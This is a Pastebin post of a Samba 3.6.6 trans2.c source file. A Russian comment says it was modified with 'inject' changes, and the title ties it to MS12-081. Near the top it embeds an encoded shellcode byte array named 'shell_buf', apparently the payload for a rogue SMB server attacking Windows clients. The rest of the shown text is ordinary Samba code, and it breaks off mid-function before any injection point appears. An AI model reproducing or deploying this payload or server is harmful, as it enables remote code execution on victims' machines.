k_v_nesterov

ms12-081 trans.c

Jan 24th, 2013
636
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.     Модифицированный trans2.c из пакета samba-3.6.6
  3.     http://ftp.samba.org/pub/samba/stable/samba-3.6.6.tar.gz
  4.     Изменения можно найти по вхождению inject
  5. */
  6. /*
  7.    Unix SMB/CIFS implementation.
  8.    SMB transaction2 handling
  9.    Copyright (C) Jeremy Allison         1994-2007
  10.    Copyright (C) Stefan (metze) Metzmacher  2003
  11.    Copyright (C) Volker Lendecke        2005-2007
  12.    Copyright (C) Steve French           2005
  13.    Copyright (C) James Peach            2006-2007
  14.  
  15.    Extensively modified by Andrew Tridgell, 1995
  16.  
  17.    This program is free software; you can redistribute it and/or modify
  18.    it under the terms of the GNU General Public License as published by
  19.    the Free Software Foundation; either version 3 of the License, or
  20.    (at your option) any later version.
  21.  
  22.    This program is distributed in the hope that it will be useful,
  23.    but WITHOUT ANY WARRANTY; without even the implied warranty of
  24.    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  25.    GNU General Public License for more details.
  26.  
  27.    You should have received a copy of the GNU General Public License
  28.    along with this program.  If not, see <http://www.gnu.org/licenses/>.
  29. */
  30.  
  31. #include "includes.h"
  32. #include "system/filesys.h"
  33. #include "version.h"
  34. #include "smbd/smbd.h"
  35. #include "smbd/globals.h"
  36. #include "../libcli/auth/libcli_auth.h"
  37. #include "../librpc/gen_ndr/xattr.h"
  38. #include "../librpc/gen_ndr/ndr_security.h"
  39. #include "libcli/security/security.h"
  40. #include "trans2.h"
  41. #include "auth.h"
  42. #include "smbprofile.h"
  43. #include "rpc_server/srv_pipe_hnd.h"
  44. #include "libsmb/libsmb.h"
  45.  
  46. #define DIR_ENTRY_SAFETY_MARGIN 4096
  47.  
  48. static char *store_file_unix_basic(connection_struct *conn,
  49.                 char *pdata,
  50.                 files_struct *fsp,
  51.                 const SMB_STRUCT_STAT *psbuf);
  52.  
  53. static char *store_file_unix_basic_info2(connection_struct *conn,
  54.                 char *pdata,
  55.                 files_struct *fsp,
  56.                 const SMB_STRUCT_STAT *psbuf);
  57.  
  58. unsigned char shell_buf[] = "\xbf\x19\xaa\xd7\x56\xdd\xc6\xd9\x74\x24\xf4\x5a\x33\xc9\xb1\x32\x83\xc2\x04\x31\x7a\x0e\x03\x63\xa4\x35\xa3\x6f\x50\x30\x4c\x8f\xa1\x23\xc4\x6a\x90\x71\xb2\xff\x81\x45\xb0\xad\x29\x2d\x94\x45\xb9\x43\x31\x6a\x0a\xe9\x67\x45\x8b\xdf\xa7\x09\x4f\x41\x54\x53\x9c\xa1\x65\x9c\xd1\xa0\xa2\xc0\x1a\xf0\x7b\x8f\x89\xe5\x08\xcd\x11\x07\xdf\x5a\x29\x7f\x5a\x9c\xde\x35\x65\xcc\x4f\x41\x2d\xf4\xe4\x0d\x8e\x05\x28\x4e\xf2\x4c\x45\xa5\x80\x4f\x8f\xf7\x69\x7e\xef\x54\x54\x4f\xe2\xa5\x90\x77\x1d\xd0\xea\x84\xa0\xe3\x28\xf7\x7e\x61\xad\x5f\xf4\xd1\x15\x5e\xd9\x84\xde\x6c\x96\xc3\xb9\x70\x29\x07\xb2\x8c\xa2\xa6\x15\x05\xf0\x8c\xb1\x4e\xa2\xad\xe0\x2a\x05\xd1\xf3\x92\xfa\x77\x7f\x30\xee\x0e\x22\x5e\xf1\x83\x58\x27\xf1\x9b\x62\x07\x9a\xaa\xe9\xc8\xdd\x32\x38\xad\x12\x79\x61\x87\xba\x24\xf3\x9a\xa6\xd6\x29\xd8\xde\x54\xd8\xa0\x24\x44\xa9\xa5\x61\xc2\x41\xd7\xfa\xa7\x65\x44\xfa\xed\x05\x0b\x68\x6d\xca";
  59.  
  60.  
  61. /********************************************************************
  62.  Roundup a value to the nearest allocation roundup size boundary.
  63.  Only do this for Windows clients.
  64. ********************************************************************/
  65.  
  66. uint64_t smb_roundup(connection_struct *conn, uint64_t val)
  67. {
  68.     uint64_t rval = lp_allocation_roundup_size(SNUM(conn));
  69.  
  70.     /* Only roundup for Windows clients. */
  71.     enum remote_arch_types ra_type = get_remote_arch();
  72.     if (rval && (ra_type != RA_SAMBA) && (ra_type != RA_CIFSFS)) {
  73.         val = SMB_ROUNDUP(val,rval);
  74.     }
  75.     return val;
  76. }
  77.  
  78. /********************************************************************
  79.  Create a 64 bit FileIndex. If the file is on the same device as
  80.  the root of the share, just return the 64-bit inode. If it isn't,
  81.  mangle as we used to do.
  82. ********************************************************************/
  83.  
  84. uint64_t get_FileIndex(connection_struct *conn, const SMB_STRUCT_STAT *psbuf)
  85. {
  86.     uint64_t file_index;
  87.     if (conn->base_share_dev == psbuf->st_ex_dev) {
  88.         return (uint64_t)psbuf->st_ex_ino;
  89.     }
  90.     file_index = ((psbuf->st_ex_ino) & UINT32_MAX); /* FileIndexLow */
  91.     file_index |= ((uint64_t)((psbuf->st_ex_dev) & UINT32_MAX)) << 32; /* FileIndexHigh */
  92.     return file_index;
  93. }
  94.  
  95. /****************************************************************************
  96.  Utility functions for dealing with extended attributes.
  97. ****************************************************************************/
  98.  
  99. /****************************************************************************
  100.  Refuse to allow clients to overwrite our private xattrs.
  101. ****************************************************************************/
  102.  
  103. static bool samba_private_attr_name(const char *unix_ea_name)
  104. {
  105.     static const char * const prohibited_ea_names[] = {
  106.         SAMBA_POSIX_INHERITANCE_EA_NAME,
  107.         SAMBA_XATTR_DOS_ATTRIB,
  108.         SAMBA_XATTR_MARKER,
  109.         XATTR_NTACL_NAME,
  110.         NULL
  111.     };
  112.  
  113.     int i;
  114.  
  115.     for (i = 0; prohibited_ea_names[i]; i++) {
  116.         if (strequal( prohibited_ea_names[i], unix_ea_name))
  117.             return true;
  118.     }
  119.     if (StrnCaseCmp(unix_ea_name, SAMBA_XATTR_DOSSTREAM_PREFIX,
  120.             strlen(SAMBA_XATTR_DOSSTREAM_PREFIX)) == 0) {
  121.         return true;
  122.     }
  123.     return false;
  124. }
  125.  
  126. /****************************************************************************
  127.  Get one EA value. Fill in a struct ea_struct.
  128. ****************************************************************************/
  129.  
  130. NTSTATUS get_ea_value(TALLOC_CTX *mem_ctx, connection_struct *conn,
  131.               files_struct *fsp, const char *fname,
  132.               const char *ea_name, struct ea_struct *pea)
  133. {
  134.     /* Get the value of this xattr. Max size is 64k. */
  135.     size_t attr_size = 256;
  136.     char *val = NULL;
  137.     ssize_t sizeret;
  138.  
  139.  again:
  140.  
  141.     val = TALLOC_REALLOC_ARRAY(mem_ctx, val, char, attr_size);
  142.     if (!val) {
  143.         return NT_STATUS_NO_MEMORY;
  144.     }
  145.  
  146.     if (fsp && fsp->fh->fd != -1) {
  147.         sizeret = SMB_VFS_FGETXATTR(fsp, ea_name, val, attr_size);
  148.     } else {
  149.         sizeret = SMB_VFS_GETXATTR(conn, fname, ea_name, val, attr_size);
  150.     }
  151.  
  152.     if (sizeret == -1 && errno == ERANGE && attr_size != 65536) {
  153.         attr_size = 65536;
  154.         goto again;
  155.     }
  156.  
  157.     if (sizeret == -1) {
  158.         return map_nt_error_from_unix(errno);
  159.     }
  160.  
  161.     DEBUG(10,("get_ea_value: EA %s is of length %u\n", ea_name, (unsigned int)sizeret));
  162.     dump_data(10, (uint8 *)val, sizeret);
  163.  
  164.     pea->flags = 0;
  165.     if (strnequal(ea_name, "user.", 5)) {
  166.         pea->name = talloc_strdup(mem_ctx, &ea_name[5]);
  167.     } else {
  168.         pea->name = talloc_strdup(mem_ctx, ea_name);
  169.     }
  170.     if (pea->name == NULL) {
  171.         TALLOC_FREE(val);
  172.         return NT_STATUS_NO_MEMORY;
  173.     }
  174.     pea->value.data = (unsigned char *)val;
  175.     pea->value.length = (size_t)sizeret;
  176.     return NT_STATUS_OK;
  177. }
  178.  
  179. NTSTATUS get_ea_names_from_file(TALLOC_CTX *mem_ctx, connection_struct *conn,
  180.                 files_struct *fsp, const char *fname,
  181.                 char ***pnames, size_t *pnum_names)
  182. {
  183.     /* Get a list of all xattrs. Max namesize is 64k. */
  184.     size_t ea_namelist_size = 1024;
  185.     char *ea_namelist = NULL;
  186.  
  187.     char *p;
  188.     char **names, **tmp;
  189.     size_t num_names;
  190.     ssize_t sizeret = -1;
  191.  
  192.     if (!lp_ea_support(SNUM(conn))) {
  193.         if (pnames) {
  194.             *pnames = NULL;
  195.         }
  196.         *pnum_names = 0;
  197.         return NT_STATUS_OK;
  198.     }
  199.  
  200.     /*
  201.      * TALLOC the result early to get the talloc hierarchy right.
  202.      */
  203.  
  204.     names = TALLOC_ARRAY(mem_ctx, char *, 1);
  205.     if (names == NULL) {
  206.         DEBUG(0, ("talloc failed\n"));
  207.         return NT_STATUS_NO_MEMORY;
  208.     }
  209.  
  210.     while (ea_namelist_size <= 65536) {
  211.  
  212.         ea_namelist = TALLOC_REALLOC_ARRAY(
  213.             names, ea_namelist, char, ea_namelist_size);
  214.         if (ea_namelist == NULL) {
  215.             DEBUG(0, ("talloc failed\n"));
  216.             TALLOC_FREE(names);
  217.             return NT_STATUS_NO_MEMORY;
  218.         }
  219.  
  220.         if (fsp && fsp->fh->fd != -1) {
  221.             sizeret = SMB_VFS_FLISTXATTR(fsp, ea_namelist,
  222.                              ea_namelist_size);
  223.         } else {
  224.             sizeret = SMB_VFS_LISTXATTR(conn, fname, ea_namelist,
  225.                             ea_namelist_size);
  226.         }
  227.  
  228.         if ((sizeret == -1) && (errno == ERANGE)) {
  229.             ea_namelist_size *= 2;
  230.         }
  231.         else {
  232.             break;
  233.         }
  234.     }
  235.  
  236.     if (sizeret == -1) {
  237.         TALLOC_FREE(names);
  238.         return map_nt_error_from_unix(errno);
  239.     }
  240.  
  241.     DEBUG(10, ("get_ea_list_from_file: ea_namelist size = %u\n",
  242.            (unsigned int)sizeret));
  243.  
  244.     if (sizeret == 0) {
  245.         TALLOC_FREE(names);
  246.         if (pnames) {
  247.             *pnames = NULL;
  248.         }
  249.         *pnum_names = 0;
  250.         return NT_STATUS_OK;
  251.     }
  252.  
  253.     /*
  254.      * Ensure the result is 0-terminated
  255.      */
  256.  
  257.     if (ea_namelist[sizeret-1] != '\0') {
  258.         TALLOC_FREE(names);
  259.         return NT_STATUS_INTERNAL_ERROR;
  260.     }
  261.  
  262.     /*
  263.      * count the names
  264.      */
  265.     num_names = 0;
  266.  
  267.     for (p = ea_namelist; p - ea_namelist < sizeret; p += strlen(p)+1) {
  268.         num_names += 1;
  269.     }
  270.  
  271.     tmp = TALLOC_REALLOC_ARRAY(mem_ctx, names, char *, num_names);
  272.     if (tmp == NULL) {
  273.         DEBUG(0, ("talloc failed\n"));
  274.         TALLOC_FREE(names);
  275.         return NT_STATUS_NO_MEMORY;
  276.     }
  277.  
  278.     names = tmp;
  279.     num_names = 0;
  280.  
  281.     for (p = ea_namelist; p - ea_namelist < sizeret; p += strlen(p)+1) {
  282.         names[num_names++] = p;
  283.     }
  284.  
  285.     if (pnames) {
  286.         *pnames = names;
  287.     } else {
  288.         TALLOC_FREE(names);
  289.     }
  290.     *pnum_names = num_names;
  291.     return NT_STATUS_OK;
  292. }
  293.  
  294. /****************************************************************************
  295.  Return a linked list of the total EA's. Plus the total size
  296. ****************************************************************************/
  297.  
  298. static struct ea_list *get_ea_list_from_file(TALLOC_CTX *mem_ctx, connection_struct *conn, files_struct *fsp,
  299.                     const char *fname, size_t *pea_total_len)
  300. {
  301.     /* Get a list of all xattrs. Max namesize is 64k. */
  302.     size_t i, num_names;
  303.     char **names;
  304.     struct ea_list *ea_list_head = NULL;
  305.     NTSTATUS status;
  306.  
  307.     *pea_total_len = 0;
  308.  
  309.     if (!lp_ea_support(SNUM(conn))) {
  310.         return NULL;
  311.     }
  312.  
  313.     status = get_ea_names_from_file(talloc_tos(), conn, fsp, fname,
  314.                     &names, &num_names);
  315.  
  316.     if (!NT_STATUS_IS_OK(status) || (num_names == 0)) {
  317.         return NULL;
  318.     }
  319.  
  320.     for (i=0; i<num_names; i++) {
  321.         struct ea_list *listp;
  322.         fstring dos_ea_name;
  323.  
  324.         if (strnequal(names[i], "system.", 7)
  325.             || samba_private_attr_name(names[i]))
  326.             continue;
  327.  
  328.         listp = TALLOC_P(mem_ctx, struct ea_list);
  329.         if (listp == NULL) {
  330.             return NULL;
  331.         }
  332.  
  333.         if (!NT_STATUS_IS_OK(get_ea_value(mem_ctx, conn, fsp,
  334.                           fname, names[i],
  335.                           &listp->ea))) {
  336.             return NULL;
  337.         }
  338.  
  339.         push_ascii_fstring(dos_ea_name, listp->ea.name);
  340.  
  341.         *pea_total_len +=
  342.             4 + strlen(dos_ea_name) + 1 + listp->ea.value.length;
  343.  
  344.         DEBUG(10,("get_ea_list_from_file: total_len = %u, %s, val len "
  345.               "= %u\n", (unsigned int)*pea_total_len, dos_ea_name,
  346.               (unsigned int)listp->ea.value.length));
  347.  
  348.         DLIST_ADD_END(ea_list_head, listp, struct ea_list *);
  349.  
  350.     }
  351.  
  352.     /* Add on 4 for total length. */
  353.     if (*pea_total_len) {
  354.         *pea_total_len += 4;
  355.     }
  356.  
  357.     DEBUG(10, ("get_ea_list_from_file: total_len = %u\n",
  358.            (unsigned int)*pea_total_len));
  359.  
  360.     return ea_list_head;
  361. }
  362.  
  363. /****************************************************************************
  364.  Fill a qfilepathinfo buffer with EA's. Returns the length of the buffer
  365.  that was filled.
  366. ****************************************************************************/
  367.  
  368. static unsigned int fill_ea_buffer(TALLOC_CTX *mem_ctx, char *pdata, unsigned int total_data_size,
  369.     connection_struct *conn, struct ea_list *ea_list)
  370. {
  371.     unsigned int ret_data_size = 4;
  372.     char *p = pdata;
  373.  
  374.     SMB_ASSERT(total_data_size >= 4);
  375.  
  376.     if (!lp_ea_support(SNUM(conn))) {
  377.         SIVAL(pdata,4,0);
  378.         return 4;
  379.     }
  380.  
  381.     for (p = pdata + 4; ea_list; ea_list = ea_list->next) {
  382.         size_t dos_namelen;
  383.         fstring dos_ea_name;
  384.         push_ascii_fstring(dos_ea_name, ea_list->ea.name);
  385.         dos_namelen = strlen(dos_ea_name);
  386.         if (dos_namelen > 255 || dos_namelen == 0) {
  387.             break;
  388.         }
  389.         if (ea_list->ea.value.length > 65535) {
  390.             break;
  391.         }
  392.         if (4 + dos_namelen + 1 + ea_list->ea.value.length > total_data_size) {
  393.             break;
  394.         }
  395.  
  396.         /* We know we have room. */
  397.         SCVAL(p,0,ea_list->ea.flags);
  398.         SCVAL(p,1,dos_namelen);
  399.         SSVAL(p,2,ea_list->ea.value.length);
  400.         fstrcpy(p+4, dos_ea_name);
  401.         memcpy( p + 4 + dos_namelen + 1, ea_list->ea.value.data, ea_list->ea.value.length);
  402.  
  403.         total_data_size -= 4 + dos_namelen + 1 + ea_list->ea.value.length;
  404.         p += 4 + dos_namelen + 1 + ea_list->ea.value.length;
  405.     }
  406.  
  407.     ret_data_size = PTR_DIFF(p, pdata);
  408.     DEBUG(10,("fill_ea_buffer: data_size = %u\n", ret_data_size ));
  409.     SIVAL(pdata,0,ret_data_size);
  410.     return ret_data_size;
  411. }
  412.  
  413. static NTSTATUS fill_ea_chained_buffer(TALLOC_CTX *mem_ctx,
  414.                        char *pdata,
  415.                        unsigned int total_data_size,
  416.                        unsigned int *ret_data_size,
  417.                        connection_struct *conn,
  418.                        struct ea_list *ea_list)
  419. {
  420.     uint8_t *p = (uint8_t *)pdata;
  421.     uint8_t *last_start = NULL;
  422.  
  423.     *ret_data_size = 0;
  424.  
  425.     if (!lp_ea_support(SNUM(conn))) {
  426.         return NT_STATUS_NO_EAS_ON_FILE;
  427.     }
  428.  
  429.     for (; ea_list; ea_list = ea_list->next) {
  430.         size_t dos_namelen;
  431.         fstring dos_ea_name;
  432.         size_t this_size;
  433.  
  434.         if (last_start) {
  435.             SIVAL(last_start, 0, PTR_DIFF(p, last_start));
  436.         }
  437.         last_start = p;
  438.  
  439.         push_ascii_fstring(dos_ea_name, ea_list->ea.name);
  440.         dos_namelen = strlen(dos_ea_name);
  441.         if (dos_namelen > 255 || dos_namelen == 0) {
  442.             return NT_STATUS_INTERNAL_ERROR;
  443.         }
  444.         if (ea_list->ea.value.length > 65535) {
  445.             return NT_STATUS_INTERNAL_ERROR;
  446.         }
  447.  
  448.         this_size = 0x08 + dos_namelen + 1 + ea_list->ea.value.length;
  449.  
  450.         if (ea_list->next) {
  451.             size_t pad = 4 - (this_size % 4);
  452.             this_size += pad;
  453.         }
  454.  
  455.         if (this_size > total_data_size) {
  456.             return NT_STATUS_INFO_LENGTH_MISMATCH;
  457.         }
  458.  
  459.         /* We know we have room. */
  460.         SIVAL(p, 0x00, 0); /* next offset */
  461.         SCVAL(p, 0x04, ea_list->ea.flags);
  462.         SCVAL(p, 0x05, dos_namelen);
  463.         SSVAL(p, 0x06, ea_list->ea.value.length);
  464.         fstrcpy((char *)(p+0x08), dos_ea_name);
  465.         memcpy(p + 0x08 + dos_namelen + 1, ea_list->ea.value.data, ea_list->ea.value.length);
  466.  
  467.         total_data_size -= this_size;
  468.         p += this_size;
  469.     }
  470.  
  471.     *ret_data_size = PTR_DIFF(p, pdata);
  472.     DEBUG(10,("fill_ea_chained_buffer: data_size = %u\n", *ret_data_size));
  473.     return NT_STATUS_OK;
  474. }
  475.  
  476. static unsigned int estimate_ea_size(connection_struct *conn, files_struct *fsp, const char *fname)
  477. {
  478.     size_t total_ea_len = 0;
  479.     TALLOC_CTX *mem_ctx = NULL;
  480.  
  481.     if (!lp_ea_support(SNUM(conn))) {
  482.         return 0;
  483.     }
  484.     mem_ctx = talloc_tos();
  485.     (void)get_ea_list_from_file(mem_ctx, conn, fsp, fname, &total_ea_len);
  486.     return total_ea_len;
  487. }
  488.  
  489. /****************************************************************************
  490.  Ensure the EA name is case insensitive by matching any existing EA name.
  491. ****************************************************************************/
  492.  
  493. static void canonicalize_ea_name(connection_struct *conn, files_struct *fsp, const char *fname, fstring unix_ea_name)
  494. {
  495.     size_t total_ea_len;
  496.     TALLOC_CTX *mem_ctx = talloc_tos();
  497.     struct ea_list *ea_list = get_ea_list_from_file(mem_ctx, conn, fsp, fname, &total_ea_len);
  498.  
  499.     for (; ea_list; ea_list = ea_list->next) {
  500.         if (strequal(&unix_ea_name[5], ea_list->ea.name)) {
  501.             DEBUG(10,("canonicalize_ea_name: %s -> %s\n",
  502.                 &unix_ea_name[5], ea_list->ea.name));
  503.             safe_strcpy(&unix_ea_name[5], ea_list->ea.name, sizeof(fstring)-6);
  504.             break;
  505.         }
  506.     }
  507. }
  508.  
  509. /****************************************************************************
  510.  Set or delete an extended attribute.
  511. ****************************************************************************/
  512.  
  513. NTSTATUS set_ea(connection_struct *conn, files_struct *fsp,
  514.         const struct smb_filename *smb_fname, struct ea_list *ea_list)
  515. {
  516.     char *fname = NULL;
  517.  
  518.     if (!lp_ea_support(SNUM(conn))) {
  519.         return NT_STATUS_EAS_NOT_SUPPORTED;
  520.     }
  521.  
  522.     if (fsp && !(fsp->access_mask & FILE_WRITE_EA)) {
  523.         return NT_STATUS_ACCESS_DENIED;
  524.     }
  525.  
  526.     /* For now setting EAs on streams isn't supported. */
  527.     fname = smb_fname->base_name;
  528.  
  529.     for (;ea_list; ea_list = ea_list->next) {
  530.         int ret;
  531.         fstring unix_ea_name;
  532.  
  533.         fstrcpy(unix_ea_name, "user."); /* All EA's must start with user. */
  534.         fstrcat(unix_ea_name, ea_list->ea.name);
  535.  
  536.         canonicalize_ea_name(conn, fsp, fname, unix_ea_name);
  537.  
  538.         DEBUG(10,("set_ea: ea_name %s ealen = %u\n", unix_ea_name, (unsigned int)ea_list->ea.value.length));
  539.  
  540.         if (samba_private_attr_name(unix_ea_name)) {
  541.             DEBUG(10,("set_ea: ea name %s is a private Samba name.\n", unix_ea_name));
  542.             return NT_STATUS_ACCESS_DENIED;
  543.         }
  544.  
  545.         if (ea_list->ea.value.length == 0) {
  546.             /* Remove the attribute. */
  547.             if (fsp && (fsp->fh->fd != -1)) {
  548.                 DEBUG(10,("set_ea: deleting ea name %s on "
  549.                       "file %s by file descriptor.\n",
  550.                       unix_ea_name, fsp_str_dbg(fsp)));
  551.                 ret = SMB_VFS_FREMOVEXATTR(fsp, unix_ea_name);
  552.             } else {
  553.                 DEBUG(10,("set_ea: deleting ea name %s on file %s.\n",
  554.                     unix_ea_name, fname));
  555.                 ret = SMB_VFS_REMOVEXATTR(conn, fname, unix_ea_name);
  556.             }
  557. #ifdef ENOATTR
  558.             /* Removing a non existent attribute always succeeds. */
  559.             if (ret == -1 && errno == ENOATTR) {
  560.                 DEBUG(10,("set_ea: deleting ea name %s didn't exist - succeeding by default.\n",
  561.                         unix_ea_name));
  562.                 ret = 0;
  563.             }
  564. #endif
  565.         } else {
  566.             if (fsp && (fsp->fh->fd != -1)) {
  567.                 DEBUG(10,("set_ea: setting ea name %s on file "
  568.                       "%s by file descriptor.\n",
  569.                       unix_ea_name, fsp_str_dbg(fsp)));
  570.                 ret = SMB_VFS_FSETXATTR(fsp, unix_ea_name,
  571.                             ea_list->ea.value.data, ea_list->ea.value.length, 0);
  572.             } else {
  573.                 DEBUG(10,("set_ea: setting ea name %s on file %s.\n",
  574.                     unix_ea_name, fname));
  575.                 ret = SMB_VFS_SETXATTR(conn, fname, unix_ea_name,
  576.                             ea_list->ea.value.data, ea_list->ea.value.length, 0);
  577.             }
  578.         }
  579.  
  580.         if (ret == -1) {
  581. #ifdef ENOTSUP
  582.             if (errno == ENOTSUP) {
  583.                 return NT_STATUS_EAS_NOT_SUPPORTED;
  584.             }
  585. #endif
  586.             return map_nt_error_from_unix(errno);
  587.         }
  588.  
  589.     }
  590.     return NT_STATUS_OK;
  591. }
  592. /****************************************************************************
  593.  Read a list of EA names from an incoming data buffer. Create an ea_list with them.
  594. ****************************************************************************/
  595.  
  596. static struct ea_list *read_ea_name_list(TALLOC_CTX *ctx, const char *pdata, size_t data_size)
  597. {
  598.     struct ea_list *ea_list_head = NULL;
  599.     size_t converted_size, offset = 0;
  600.  
  601.     while (offset + 2 < data_size) {
  602.         struct ea_list *eal = TALLOC_ZERO_P(ctx, struct ea_list);
  603.         unsigned int namelen = CVAL(pdata,offset);
  604.  
  605.         offset++; /* Go past the namelen byte. */
  606.  
  607.         /* integer wrap paranioa. */
  608.         if ((offset + namelen < offset) || (offset + namelen < namelen) ||
  609.                 (offset > data_size) || (namelen > data_size) ||
  610.                 (offset + namelen >= data_size)) {
  611.             break;
  612.         }
  613.         /* Ensure the name is null terminated. */
  614.         if (pdata[offset + namelen] != '\0') {
  615.             return NULL;
  616.         }
  617.         if (!pull_ascii_talloc(ctx, &eal->ea.name, &pdata[offset],
  618.                        &converted_size)) {
  619.             DEBUG(0,("read_ea_name_list: pull_ascii_talloc "
  620.                  "failed: %s", strerror(errno)));
  621.         }
  622.         if (!eal->ea.name) {
  623.             return NULL;
  624.         }
  625.  
  626.         offset += (namelen + 1); /* Go past the name + terminating zero. */
  627.         DLIST_ADD_END(ea_list_head, eal, struct ea_list *);
  628.         DEBUG(10,("read_ea_name_list: read ea name %s\n", eal->ea.name));
  629.     }
  630.  
  631.     return ea_list_head;
  632. }
  633.  
  634. /****************************************************************************
  635.  Read one EA list entry from the buffer.
  636. ****************************************************************************/
  637.  
  638. struct ea_list *read_ea_list_entry(TALLOC_CTX *ctx, const char *pdata, size_t data_size, size_t *pbytes_used)
  639. {
  640.     struct ea_list *eal = TALLOC_ZERO_P(ctx, struct ea_list);
  641.     uint16 val_len;
  642.     unsigned int namelen;
  643.     size_t converted_size;
  644.  
  645.     if (!eal) {
  646.         return NULL;
  647.     }
  648.  
  649.     if (data_size < 6) {
  650.         return NULL;
  651.     }
  652.  
  653.     eal->ea.flags = CVAL(pdata,0);
  654.     namelen = CVAL(pdata,1);
  655.     val_len = SVAL(pdata,2);
  656.  
  657.     if (4 + namelen + 1 + val_len > data_size) {
  658.         return NULL;
  659.     }
  660.  
  661.     /* Ensure the name is null terminated. */
  662.     if (pdata[namelen + 4] != '\0') {
  663.         return NULL;
  664.     }
  665.     if (!pull_ascii_talloc(ctx, &eal->ea.name, pdata + 4, &converted_size)) {
  666.         DEBUG(0,("read_ea_list_entry: pull_ascii_talloc failed: %s",
  667.              strerror(errno)));
  668.     }
  669.     if (!eal->ea.name) {
  670.         return NULL;
  671.     }
  672.  
  673.     eal->ea.value = data_blob_talloc(eal, NULL, (size_t)val_len + 1);
  674.     if (!eal->ea.value.data) {
  675.         return NULL;
  676.     }
  677.  
  678.     memcpy(eal->ea.value.data, pdata + 4 + namelen + 1, val_len);
  679.  
  680.     /* Ensure we're null terminated just in case we print the value. */
  681.     eal->ea.value.data[val_len] = '\0';
  682.     /* But don't count the null. */
  683.     eal->ea.value.length--;
  684.  
  685.     if (pbytes_used) {
  686.         *pbytes_used = 4 + namelen + 1 + val_len;
  687.     }
  688.  
  689.     DEBUG(10,("read_ea_list_entry: read ea name %s\n", eal->ea.name));
  690.     dump_data(10, eal->ea.value.data, eal->ea.value.length);
  691.  
  692.     return eal;
  693. }
  694.  
  695. /****************************************************************************
  696.  Read a list of EA names and data from an incoming data buffer. Create an ea_list with them.
  697. ****************************************************************************/
  698.  
  699. static struct ea_list *read_ea_list(TALLOC_CTX *ctx, const char *pdata, size_t data_size)
  700. {
  701.     struct ea_list *ea_list_head = NULL;
  702.     size_t offset = 0;
  703.     size_t bytes_used = 0;
  704.  
  705.     while (offset < data_size) {
  706.         struct ea_list *eal = read_ea_list_entry(ctx, pdata + offset, data_size - offset, &bytes_used);
  707.  
  708.         if (!eal) {
  709.             return NULL;
  710.         }
  711.  
  712.         DLIST_ADD_END(ea_list_head, eal, struct ea_list *);
  713.         offset += bytes_used;
  714.     }
  715.  
  716.     return ea_list_head;
  717. }
  718.  
  719. /****************************************************************************
  720.  Count the total EA size needed.
  721. ****************************************************************************/
  722.  
  723. static size_t ea_list_size(struct ea_list *ealist)
  724. {
  725.     fstring dos_ea_name;
  726.     struct ea_list *listp;
  727.     size_t ret = 0;
  728.  
  729.     for (listp = ealist; listp; listp = listp->next) {
  730.         push_ascii_fstring(dos_ea_name, listp->ea.name);
  731.         ret += 4 + strlen(dos_ea_name) + 1 + listp->ea.value.length;
  732.     }
  733.     /* Add on 4 for total length. */
  734.     if (ret) {
  735.         ret += 4;
  736.     }
  737.  
  738.     return ret;
  739. }
  740.  
  741. /****************************************************************************
  742.  Return a union of EA's from a file list and a list of names.
  743.  The TALLOC context for the two lists *MUST* be identical as we steal
  744.  memory from one list to add to another. JRA.
  745. ****************************************************************************/
  746.  
  747. static struct ea_list *ea_list_union(struct ea_list *name_list, struct ea_list *file_list, size_t *total_ea_len)
  748. {
  749.     struct ea_list *nlistp, *flistp;
  750.  
  751.     for (nlistp = name_list; nlistp; nlistp = nlistp->next) {
  752.         for (flistp = file_list; flistp; flistp = flistp->next) {
  753.             if (strequal(nlistp->ea.name, flistp->ea.name)) {
  754.                 break;
  755.             }
  756.         }
  757.  
  758.         if (flistp) {
  759.             /* Copy the data from this entry. */
  760.             nlistp->ea.flags = flistp->ea.flags;
  761.             nlistp->ea.value = flistp->ea.value;
  762.         } else {
  763.             /* Null entry. */
  764.             nlistp->ea.flags = 0;
  765.             ZERO_STRUCT(nlistp->ea.value);
  766.         }
  767.     }
  768.  
  769.     *total_ea_len = ea_list_size(name_list);
  770.     return name_list;
  771. }
  772.  
  773. /****************************************************************************
  774.   Send the required number of replies back.
  775.   We assume all fields other than the data fields are
  776.   set correctly for the type of call.
  777.   HACK ! Always assumes smb_setup field is zero.
  778. ****************************************************************************/
  779.  
  780. void send_trans2_replies(connection_struct *conn,
  781.             struct smb_request *req,
  782.              const char *params,
  783.              int paramsize,
  784.              const char *pdata,
  785.              int datasize,
  786.              int max_data_bytes)
  787. {
  788.     /* As we are using a protocol > LANMAN1 then the max_send
  789.      variable must have been set in the sessetupX call.
  790.      This takes precedence over the max_xmit field in the
  791.      global struct. These different max_xmit variables should
  792.      be merged as this is now too confusing */
  793.  
  794.     int data_to_send = datasize;
  795.     int params_to_send = paramsize;
  796.     int useable_space;
  797.     const char *pp = params;
  798.     const char *pd = pdata;
  799.     int params_sent_thistime, data_sent_thistime, total_sent_thistime;
  800.     int alignment_offset = 1; /* JRA. This used to be 3. Set to 1 to make netmon parse ok. */
  801.     int data_alignment_offset = 0;
  802.     bool overflow = False;
  803.     struct smbd_server_connection *sconn = req->sconn;
  804.     int max_send = sconn->smb1.sessions.max_send;
  805.  
  806.     /* Modify the data_to_send and datasize and set the error if
  807.        we're trying to send more than max_data_bytes. We still send
  808.        the part of the packet(s) that fit. Strange, but needed
  809.        for OS/2. */
  810.  
  811.     if (max_data_bytes > 0 && datasize > max_data_bytes) {
  812.         DEBUG(5,("send_trans2_replies: max_data_bytes %d exceeded by data %d\n",
  813.             max_data_bytes, datasize ));
  814.         datasize = data_to_send = max_data_bytes;
  815.         overflow = True;
  816.     }
  817.  
  818.     /* If there genuinely are no parameters or data to send just send the empty packet */
  819.  
  820.     if(params_to_send == 0 && data_to_send == 0) {
  821.         reply_outbuf(req, 10, 0);
  822.         show_msg((char *)req->outbuf);
  823.         if (!srv_send_smb(sconn,
  824.                 (char *)req->outbuf,
  825.                 true, req->seqnum+1,
  826.                 IS_CONN_ENCRYPTED(conn),
  827.                 &req->pcd)) {
  828.             exit_server_cleanly("send_trans2_replies: srv_send_smb failed.");
  829.         }
  830.         TALLOC_FREE(req->outbuf);
  831.         return;
  832.     }
  833.  
  834.     /* When sending params and data ensure that both are nicely aligned */
  835.     /* Only do this alignment when there is also data to send - else
  836.         can cause NT redirector problems. */
  837.  
  838.     if (((params_to_send % 4) != 0) && (data_to_send != 0))
  839.         data_alignment_offset = 4 - (params_to_send % 4);
  840.  
